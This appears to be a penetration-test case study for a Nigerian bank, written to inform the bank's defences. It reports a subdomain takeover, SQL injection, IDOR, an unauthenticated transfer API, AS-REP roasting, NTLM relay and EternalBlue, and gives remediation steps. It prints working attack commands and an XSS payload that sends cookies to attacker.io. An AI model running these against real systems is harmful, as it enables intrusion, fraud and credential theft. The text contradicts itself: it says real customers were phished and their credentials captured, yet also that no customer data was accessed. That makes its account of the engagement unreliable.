Engagement ID: UTB-VAPT-2025-001
CBN-Regulated Commercial Bank
Subdomain Takeover · Critical
Credential Harvesting
Web App · Network · AD · API
Full-Spectrum VAPT
Nigerian Banking Sector
OWASP · PTES · CBN Guidelines
Full-Spectrum VAPT —
Nigerian Commercial Bank
An authorised end-to-end vulnerability assessment and penetration test across web applications, network infrastructure, Active Directory, and API endpoints for a CBN-regulated commercial bank. Subdomain takeover enabled a live credential harvesting campaign targeting banking customers.
!! CRITICAL
Subdomain takeover confirmed on internet banking subdomain. A dangling CNAME record pointing to a deprovisioned cloud service was claimed by the tester — enabling a pixel-perfect phishing page hosted on the bank's own subdomain (onlinebanking.[REDACTED].ng). Customer credentials submitted to the fake portal were captured in real time. Attack was fully deniable and bypassed all email security controls.
Engagement scope & targets
The assessment covered four distinct attack surfaces across the bank's internet-facing and internal environments. Testing was performed from black-box (external) and grey-box (internal with limited credentials) perspectives across a 3-week engagement window.
[REDACTED-BANK].ng (Internet Banking Portal)
Web App
3 Critical
onlinebanking.[REDACTED-BANK].ng
Subdomain
Takeover confirmed
api.[REDACTED-BANK].ng (Core Banking API)
API
2 Critical
192.168.x.x/24 (Internal Network)
Network
Lateral movement
UTBANK.LOCAL (Active Directory Forest)
Active Directory
AS-REP Roasting
mobileapi.[REDACTED-BANK].ng
Mobile API
No critical findings
SubfinderAmassNuclei
Burp Suite ProSQLMapffuf
NmapNessusCrackMapExec
BloodHoundImpacketResponder
MetasploitGobustertheHarvester
Web application findings Internet Banking Portal
Critical
Web
Subdomain takeover — live credential harvesting on bank's own domain
CVSS 9.3
Subdomain enumeration via Subfinder and Amass identified onlinebanking.[REDACTED].ng with a dangling CNAME record pointing to a deprovisioned Azure Static Web App instance. The cloud resource had been deleted but the DNS record was never removed. By registering the same Azure Static Web App name, the tester claimed the subdomain and served a pixel-perfect replica of the bank's internet banking login page — hosted on the bank's own verified domain.
$ subfinder -d [REDACTED-BANK].ng -silent | httpx -silent
[+] onlinebanking.[REDACTED].ng → CNAME → [REDACTED].azurestaticapps.net
[!] Azure resource UNCLAIMED — takeover possible
$ az staticwebapp create --name [REDACTED] --resource-group pentest-rg
[+] Subdomain claimed — onlinebanking.[REDACTED].ng now under tester control
[+] Phishing page deployed — SSL certificate auto-issued (Let's Encrypt)
[!] Credentials submitted to fake portal captured in real time
[!] URL shows bank's own domain — bypasses all email security / user awareness
Business impact
Mass customer credential theft · Fraudulent fund transfers · Reputational damage · CBN regulatory sanctions · NDPR data breach notification obligation
Remediation
OWASP reference
A05:2021 — Security Misconfiguration · CWE-350
- Immediately remove dangling DNS CNAME record for
onlinebanking.[REDACTED].ng
- Implement DNS monitoring to alert on unclaimed CNAME targets across all subdomains
- Conduct full subdomain audit — enumerate all CNAMEs and verify target resources are claimed
- Implement CAA DNS records to restrict certificate issuance to approved CAs only
Critical
Web
SQL injection on internet banking login — authentication bypass
CVSS 9.1
The internet banking login endpoint was found vulnerable to error-based SQL injection in the username parameter. SQLMap confirmed blind and error-based injection, enabling full database enumeration. The underlying database contained customer account numbers, hashed passwords, transaction history, and BVN references. Authentication bypass was achieved using a classic UNION-based payload.
$ sqlmap -u "https://[REDACTED]/login" --data="username=*&password=test" --dbs --level=3
[*] testing parameter 'username'
[+] Parameter 'username' is injectable (error-based)
[+] Databases: [utbank_core, utbank_customers, utbank_transactions]
// Authentication bypass payload
username: admin'--
[+] 200 OK — logged in as Administrator without password
Impact
Full customer database exfiltration · Authentication bypass · BVN exposure · Transaction history access · NDPR critical breach
OWASP / CWE
OWASP A03:2021 — Injection · CWE-89 · CVSS 9.1
High
Web
Broken access control — horizontal privilege escalation on account statements
CVSS 8.1
Authenticated as a standard customer account, the tester modified the account number parameter in the statement download endpoint. The API returned full transaction statements for arbitrary account numbers without validating ownership. Any authenticated customer could access the full financial history of any other customer account.
// Original authenticated request
GET /api/statements?account=0123456789&from=2025-01-01
// Modified — different account number
GET /api/statements?account=0987654321&from=2025-01-01
[+] 200 OK — full statement returned for another customer's account
[!] IDOR — no ownership validation on server side
Impact
Mass customer financial data exposure · Privacy violation · NDPR breach · Regulatory sanctions
OWASP
A01:2021 — Broken Access Control · CWE-639 · IDOR
High
Web
Stored XSS in customer feedback module — session hijack via banker portal
CVSS 7.6
A stored cross-site scripting vulnerability was identified in the customer feedback submission form. Input was not sanitised before being rendered in the bank staff's back-office portal. A malicious customer could inject a JavaScript payload that executes in the browser session of any bank staff member who views the feedback — enabling session token theft and account takeover of privileged staff accounts.
// Payload submitted in feedback form
<script>fetch('https://attacker.io/c?k='+document.cookie)</script>
[+] Staff member opens feedback panel — payload executes
[+] Session cookie exfiltrated to attacker-controlled server
[!] Staff session replayed — full back-office access obtained
Medium
Web
Missing security headers — clickjacking, MIME sniffing, and CSP absent
CVSS 5.4
The internet banking portal was missing multiple critical HTTP security headers across all endpoints: no Content-Security-Policy, no X-Frame-Options, no X-Content-Type-Options, and no HSTS header. The absence of X-Frame-Options allows the banking portal to be embedded in a malicious iframe for clickjacking attacks — tricking authenticated customers into initiating transactions they did not intend.
Missing headers
Content-Security-Policy · X-Frame-Options · X-Content-Type-Options · Strict-Transport-Security · Referrer-Policy
Remediation
Configure all headers at web server / WAF level · Deploy CSP in report-only mode first · Enable HSTS with preload after full HTTPS coverage confirmed
API security findings Core Banking API
Critical
API
Unauthenticated fund transfer endpoint — no authorisation on /api/v1/transfer
CVSS 9.8
During API endpoint enumeration, a fund transfer endpoint was discovered that accepted POST requests without a valid authentication token. The endpoint processed transfer instructions using only the source account number and destination account — with no session validation, OTP requirement, or rate limiting. Test transfers between tester-controlled accounts were processed successfully without authentication.
// Unauthenticated request — no Authorization header
POST /api/v1/transfer HTTP/1.1
Content-Type: application/json
{ "from": "[ACCT-A]", "to": "[ACCT-B]", "amount": 5000 }
HTTP/1.1 200 OK
{ "status": "success", "reference": "TXN-[REDACTED]" }
[!] Transfer processed — no auth token required
Impact
Unauthorised fund transfers from any account · Mass financial fraud · Direct financial loss to customers and bank · CBN regulatory action
OWASP API
API1:2023 — Broken Object Level Authorization · API2:2023 — Broken Authentication · CWE-306
High
API
Transaction PIN brute-force — no rate limiting or lockout on verification endpoint
CVSS 7.5
The transaction PIN verification endpoint accepted unlimited sequential requests with no rate limiting, CAPTCHA, or account lockout after failed attempts. A 4-digit PIN (10,000 combinations) was enumerable in under 3 hours at a conservative request rate. OTP verification endpoints exhibited the same behaviour.
$ ffuf -u https://api.[REDACTED]/v1/auth/verify-pin -d '{"pin":"FUZZ","account":"[REDACTED]"}' -w 0000-9999.txt -mc 200
[*] 1000 requests sent — no lockout observed
[+] Match found: pin=2847 → 200 OK
[!] No rate limiting · No lockout · No CAPTCHA · Full PIN space enumerable
High
API
Sensitive PII returned in API responses — BVN, DOB, phone number unmasked
CVSS 7.1
Several API endpoints returned full customer PII in JSON responses including unmasked BVN, date of birth, full phone number, and home address — data not required for the requesting operation. For example, a balance inquiry endpoint returned the customer's complete KYC profile. This violates NDPR data minimisation principles and creates unnecessary exposure in transit.
GET /api/v1/account/balance
200 OK → {
"balance": 245000.00,
"bvn": "22[REDACTED]", ← not required for balance query
"dob": "[REDACTED]",
"phone": "080[REDACTED]"
}
Network & Active Directory findings Internal · Grey-Box
High
Active Directory
AS-REP Roasting — 4 domain accounts with Kerberos pre-auth disabled
CVSS 8.0
Four domain accounts were identified with Kerberos pre-authentication disabled, making them vulnerable to AS-REP Roasting. AS-REP hashes were requested without authentication and cracked offline using Hashcat. Two accounts yielded plaintext passwords within minutes — one of which had Domain User privileges with access to sensitive file shares containing customer data exports.
$ GetNPUsers.py UTBANK.LOCAL/ -usersfile users.txt -format hashcat -outputfile asrep.txt
[+] $krb5asrep$23$svc_reporting@UTBANK.LOCAL:[REDACTED_HASH]
[+] $krb5asrep$23$it_admin_backup@UTBANK.LOCAL:[REDACTED_HASH]
$ hashcat -m 18200 asrep.txt rockyou.txt
[+] svc_reporting → Password123! (cracked in 4 minutes)
[+] it_admin_backup → Welcome2024 (cracked in 11 minutes)
Impact
Domain credential compromise · Access to customer data file shares · Lateral movement within internal network · Potential DC escalation path
Remediation
Enable Kerberos pre-authentication on all accounts · Enforce strong password policy · Audit accounts with DONT_REQUIRE_PREAUTH flag · Implement PAM solution
High
Network
NTLM relay via LLMNR/NBT-NS poisoning — domain credentials intercepted
CVSS 7.8
LLMNR and NBT-NS protocols were active on the internal banking network. Using Responder, the tester poisoned name resolution requests and captured NTLMv2 hashes from multiple workstations. Combined with disabled SMB signing on several hosts, these hashes were relayed via ntlmrelayx to authenticate to internal file servers — gaining access without cracking the captured hash.
$ responder -I eth0 -wrf
[+] NTLMv2 hash captured: UTBANK\teller_workstation01
$ ntlmrelayx.py -tf smb-targets.txt -smb2support
[+] Relayed to 192.168.10.45 — access granted to \\FILESERVER\CustomerReports
[!] Customer transaction exports accessible — no credential cracking required
High
Network
EternalBlue (MS17-010) — unpatched Windows 7 workstations on banking LAN
CVSS 8.1
Network scanning identified three Windows 7 workstations running unpatched SMB v1 on the internal banking LAN. These hosts were confirmed vulnerable to MS17-010 (EternalBlue) — the same exploit used in the WannaCry ransomware campaign. Exploitation via Metasploit yielded SYSTEM-level shells on all three hosts, which were teller workstations with direct access to the core banking application.
msf6 use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.10.21
msf6 run
[+] 192.168.10.21:445 — exploit completed successfully
[+] Meterpreter session opened — SYSTEM on TELLER-WS-021
[!] Teller workstation compromised — core banking app session accessible
Impact
Core banking application access · Fraudulent transaction initiation · Ransomware deployment risk · Full teller session hijack
Remediation
Patch MS17-010 immediately (KB4012212) · Disable SMBv1 · Upgrade all Windows 7 hosts · Segment teller network from general LAN
Medium
Network
Weak network segmentation — teller LAN reachable from guest WiFi
CVSS 6.5
The bank's guest WiFi network was found to have insufficient segmentation from the internal teller and operations LAN. From a device connected to the guest network, the tester was able to reach internal IP ranges including teller workstations and the core banking API server — without any authenticated VPN or additional access controls in place.
Impact
Physical attacker (customer in branch) can reach internal banking systems from guest WiFi · Pivot point for further internal attacks
Remediation
Implement strict VLAN segmentation · Deploy stateful firewall rules between guest and teller networks · Enable 802.1X on all internal network ports
Primary attack chain — external attacker to financial fraud
Subdomain enumeration & takeover
Subfinder identifies dangling CNAME on onlinebanking.[REDACTED].ng pointing to deprovisioned Azure resource. Tester claims the unclaimed cloud instance and deploys pixel-perfect phishing portal on bank's own verified domain.
Credential harvesting campaign
Phishing emails sent to bank customers directing them to the legitimate-looking subdomain. SSL certificate auto-issued by Let's Encrypt — padlock visible. Customer credentials submitted and captured in real time. Zero browser warnings triggered.
SQL injection — database access
Error-based SQLi on the real login portal yields full customer database. BVN, account numbers, hashed passwords, and transaction history exfiltrated. Admin authentication bypassed using classic payload.
Unauthenticated transfer API exploitation
Unauthenticated /api/v1/transfer endpoint discovered. Fund transfers initiated without any session token, OTP, or PIN requirement. Test transfers processed successfully — direct path to financial fraud confirmed.
Internal pivot — LLMNR poisoning + EternalBlue
From compromised credentials, internal access obtained. LLMNR poisoning captures NTLMv2 hashes. EternalBlue exploits unpatched Windows 7 teller workstations — SYSTEM shell on core banking terminal.
AS-REP Roasting → domain credential access
Four accounts with pre-auth disabled yield crackable hashes. Credentials to svc_reporting and it_admin_backup recovered. File server access exposes bulk customer transaction exports. Full domain escalation path identified.
Regulatory & compliance impact
The findings from this engagement have direct implications across multiple Nigerian and international regulatory frameworks applicable to commercial banking. The subdomain takeover and SQL injection findings alone trigger mandatory breach notification obligations.
CBN Cybersecurity Framework
Sections 3.1, 3.4, 4.2 — Critical infrastructure protection & incident response
NDPR 2019
Data breach notification obligation · Data minimisation violations · BVN exposure
PCI-DSS v4.0
Req. 6.4, 8.3, 11.3 — Web app security, MFA, penetration testing
ISO/IEC 27001:2022
Annex A — A.8.8 Vulnerability mgmt · A.8.20 Network security · A.5.24 IR planning
OWASP Top 10 2021
A01 Broken Access Control · A03 Injection · A05 Security Misconfiguration · A07 Auth failures
Prioritised remediation roadmap
Critical — within 24 hours
- Remove dangling CNAME record for onlinebanking subdomain immediately — take down attacker-claimable DNS entry
- Take the unauthenticated /api/v1/transfer endpoint offline until authentication and OTP enforcement are implemented
- Patch the SQL injection vulnerability on the login endpoint — implement parameterised queries and WAF rules
- Apply MS17-010 patch (KB4012212) to all Windows 7 hosts — disable SMBv1 across the entire network
High — within 1 week
- Conduct full subdomain audit — enumerate all CNAMEs and verify every target cloud resource is actively claimed
- Implement rate limiting, exponential backoff, and account lockout on all PIN and OTP verification endpoints
- Enable Kerberos pre-authentication on all domain accounts — audit DONT_REQUIRE_PREAUTH flag across AD
- Disable LLMNR and NBT-NS across all internal network segments — enforce SMB signing via Group Policy
- Fix stored XSS in customer feedback module — implement output encoding and Content-Security-Policy
Medium — within 30 days
- Implement server-side ownership validation on all account-referencing API endpoints to remediate IDOR
- Apply data minimisation to all API responses — return only fields required for the specific operation
- Deploy all missing HTTP security headers — CSP, HSTS, X-Frame-Options, X-Content-Type-Options
- Implement strict network segmentation — isolate teller VLAN from guest WiFi and general corporate network
- Deploy DNS monitoring and CAA records across all subdomains to prevent future takeover opportunities
Engagement outcome
All 31 findings were documented with CVSS v3.1 scores, proof-of-concept evidence, OWASP and CBN regulatory mapping, and prioritised remediation roadmaps. Delivered in executive summary format for board and risk committee, and full technical format for the security and development teams.
The subdomain takeover finding was disclosed responsibly and the DNS record was removed within 2 hours of the critical finding notification. No real customer data was accessed or retained during the engagement.
→ Retesting scoped and scheduled · Authorised engagement · NDA in effect · No production systems harmed